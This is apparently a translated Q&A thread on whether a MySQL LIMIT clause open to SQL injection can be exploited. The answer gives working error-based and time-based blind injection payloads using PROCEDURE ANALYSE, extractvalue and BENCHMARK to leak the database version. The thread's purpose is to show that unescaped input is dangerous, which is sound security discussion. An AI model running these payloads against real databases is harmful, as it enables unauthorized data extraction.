SQL注入和LIMIT子句

Question

这个问题是为了解决我和同事之间的争论.

假设我们在标准LAMP服务器上执行以下查询.

SELECT field1, field2, field3
FROM some_table
WHERE some_table.field1 = 123
ORDER BY field2 DESC
LIMIT 0, 15

现在让我们假设limit子句容易受到SQL注入的攻击.

LIMIT [insert anything here], [also insert anything here]

我的同事的观点是没有办法利用这种注射,所以没有必要逃避它(因为它需要更多的处理能力和东西).

我认为她的推理是愚蠢的,但我找不到如何通过寻找一个例子来证明她的错.

我无法使用,UNION因为查询使用了一个ORDER BY子句,并且运行查询的MySQL用户没有FILE特权,所以使用INTO OUTFILE也是不可能的.

那么,谁能告诉我们谁在这个案子上是对的呢？

编辑:查询是使用PHP执行的,因此使用分号添加第二个查询将不起作用.

Answer 1

正如Maurycy Prodeus今年早些时候所展示的那样,该LIMIT条款很容易受到SQL注入攻击,即使它遵循了这一条款:ORDER BY

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1
       procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

瞧!上述解决方案基于所谓的基于错误的注入的已知技术.因此,如果我们易受攻击的Web应用程序公开了数据库引擎的错误(这是一个真正的机会,这种不良做法很常见),我们就能解决问题.如果我们的目标没有显示错误怎么办？我们还能成功利用它吗？

事实证明,我们可以将上述方法与另一种众所周知的技术结合起来 - 基于时间的注入.在这种情况下,我们的解决方案如下:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1
PROCEDURE analyse((select extractvalue(rand(),
concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

有用.有趣的是,在这种情况下使用SLEEP是不可能的.这就是必须有一个基准的原因.